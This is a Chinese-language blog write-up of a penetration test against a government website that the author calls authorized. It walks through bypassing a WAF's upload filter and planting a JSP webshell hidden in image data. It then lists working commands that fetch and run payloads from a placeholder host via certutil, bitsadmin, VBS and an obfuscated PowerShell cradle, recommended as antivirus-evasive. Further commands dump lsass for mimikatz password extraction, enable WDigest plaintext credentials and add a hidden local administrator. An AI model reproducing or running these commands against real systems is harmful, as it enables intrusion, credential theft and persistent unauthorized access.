一次授权渗透实战
前言
很久沒有整理實戰文章了,恰好這周項目上有一個目標折騰了兩天時間,記錄分享下其中的心路歷程(本次滲透過程均在目標授權下進行,請勿進行非法滲透行為)。
目標基本信息
某政務網站
服務器–windows
數據庫–未知
中間件–Tomcat
開發語言–java
未使用CDN
存在waf–種類未知
Getshell過程
其它漏洞的挖掘過程不再描述,直奔權限,發現目標存在一處上傳功能。
上傳成功后返回取件碼。
使用取件碼進行信件查詢。
點擊附件為下載鏈接。
通過對下載鏈接進行測試,發現報錯時泄漏了網站的絕對路徑。
進過幾次嘗試,成功訪問到上傳的圖片。
網站waf對上傳文件的后綴名進行了白名單限制。
根據以往的bypass經驗,開始手撕waf。
后綴名校驗繞過
尋找waf的設計缺陷來繞過waf的上傳限制,
常用的幾種方法有:
刪除實體里面的Conten-Type字段
刪除Content-Disposition字段里的空格
修改Content-Disposition字段值的大小寫
文件名處回車
等等等等。
總結一下思路就是在不影響正常上傳功能的前提下,嘗試改變數據包的部分格式內容,繞過waf的校驗。
經過多次嘗試,當Content-Disposition字段修改為Content+Disposition時可以繞過waf,可以看到上傳功能的代碼未對后綴名做限制,存在任意文件上傳漏洞。
內容校驗繞過
成功對文件后綴名進行了繞過。
直接上傳免殺還可以的冰蝎馬。
上傳失敗,再次被waf攔截,發現還存在文件內容校驗,嘗試使用平時積累的免殺馬。
經過嘗試免殺馬全部陣亡,無一例外。
當使用java的輸出函數時也會被waf檢測攔截。
第一次碰到連輸出helloword都攔的waf。
經過多次測試,waf對絕大部分的java函數都進行了攔截。
內容加密
這種情況下,首先想到的解決方案是對木馬進行加密。
在網上查找相關的資料,發現了LandGrey大佬的一個unicode編碼的菜刀馬。傳送門
可以上傳成功。
必須要使用caidao-20160622的版本進行連接(默認分隔符: X@Y),然而。
菜刀流量被waf攔截了。
想到了2種解決方案。
1、使用內容加密的大馬,例如下圖的php大馬的這種加解密。
2、菜刀馬流量中轉,上傳中轉菜刀馬,配合本地加解密腳本文件,對數據進行中轉加密傳輸。
中轉Webshell 繞過安全狗(一)
中轉Webshell 繞過安全狗(二)
奈何網上關于jsp加密大馬和jsp中轉木馬研究的文章數量有限,再加上本人不懂java開發,最后以失敗告終。
在這個學習嘗試的過程看到了不少大佬優秀的文章,學習到了很多相關知識。如:
菜刀HTTP流量中轉代理過WAF
CaidaoMitmProxy:基于HTTP代理中轉菜刀過WAF
感興趣的小伙伴可以研究下。
內容混淆
內容加密bypass失敗了,只能換一個思路。
嘗試對文件內容進行混淆,繞過waf。
首先想到的是圖片馬,嘗試把木馬隱藏到圖片源碼中,繞過waf。
在這個過程中也踩了一些坑,有些圖片源碼包含特殊字符會和木馬的代碼發生沖突,因此需要特殊處理過的圖片才能保證正常解析。
使用notepad++打開準備好的圖片,把jsp馬插入到圖片源碼中。
更改為jsp后綴進行上傳。
上傳失敗,猜測可能是混淆的力度不夠,未起到混淆的目的。
開始增加文件內容的長度,復制圖片的一段源碼,反復的粘貼到木馬的前后位置,經過若干次嘗試,返回了上傳成功,且只能成功一次,下
次上傳需要重新混淆,難道waf還自帶了機器學習?
訪問webshell地址,文件解析成功,成功拿下了目標的webshell,權限為最高的administrator權限。
上傳的為CMD馬,只能執行系統命令,目標通互聯網,下一步的思路是:使用命令直接下載cs馬或者msf馬執行。
使用命令下載免殺exe到本地執行。
cmd下常用的下載命令有三種,推薦使用證書下載命令,免殺性強,其它兩種容易被防護攔截。
證書下載
certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe?
vbs下載?
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs?
cscript downfile.vbs http://x.x.x.x/1.exe D:\\1.ex
bitsadmin命令下載?
bitsadmin /transfer n http://x.x.x.x/1.exe D:\\1.exe
在可以調用powershell的情況下,推薦使用powershell對木馬文件進行下載執行,優點是免殺可操作性強,無落地文件。
這里給出我之前發布的免殺powershell命令
powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"
免殺處理的方法有很多,可以參考我之前發布的文章中。攻防演練對抗賽之初識文件釣魚
也可以關注我們Tide安全團隊的公眾號,查看免殺系列文章。
上傳后成功執行,cs成功接收到會話信息。
嘗試激活guest用戶,加入管理員組失敗。
存在服務器防護需要繞過。
服務器為server 2008,默認情況下,可以使用Procdump+Mimikatz來讀取管理員的明文密碼。
Procdump由微軟官方提供,絕大多數情況下不會被殺。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分為2步:
1、導出lsass.exe進程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、使用mimikatz破解導出的文件lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要上傳procdump64.exe生成lsass.dmp文件,下載后本地讀取密碼。
對于server 2012以上,或者打了補丁的操作系統,無法直接讀取明文,必須修改注冊表,重啟服務器等待管理員登錄才能獲取到明文密碼。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
還可以選擇執行powershell命令添加用戶。
使用Get-ExecutionPolicy 查看當前執行策略為Restricted(默認策略,不允許任意腳本的執行)
使用Set-ExecutionPolicy 設置執行的策略為RemoteSigned (本地腳本無限制,但是對來自網絡的腳本必須經過簽名)
相關powershell命令可查看CSeroad大佬的文章。傳送門
powershell的免殺性強,大多數情況下都可以執行成功。
上傳添加用戶的ps1文件到服務器中,調用powershell執行,此方法可以繞過大部分殺軟,達到免殺加用戶到管理員組的目的。
powershell 1.ps1
$computer=Get-WMIObject Win32_ComputerSystem $computername = $computer.name $username = 'admin' $password = '1234qwer..' $desc = 'Local admin account' $computer = [ADSI]"WinNT://$computername,computer" $user = $computer.Create("user", $username) $user.SetPassword($password) $user.Setinfo() $user.description = $desc $user.setinfo() $user.UserFlags = 65536 $user.SetInfo() $group = [ADSI]("WinNT://$computername/administrators,group") $group.add("WinNT://$username,user")
添加用戶成功后。
使用cs自帶的socks4隧道。
本機配置Proxifer。
成功把本機帶入目標內網。
打開遠程桌面功能,輸入對方的內網ip和遠程桌面端口,輸入用戶名密碼。
登錄成功,目標安裝了服務器安全狗和企業版金山毒霸,到此滲透結束。
總結
由于不懂java開發,導致前期的getshell耽誤了過長時間,未解決的問題,后面還需要再學習。
滲透過程中走了很多彎路,但也學習到了很多新的知識。
總結
- 上一篇: VC打包程序,并修改注册表(详细以后补充
- 下一篇: twisted系列教程六–继续重构twi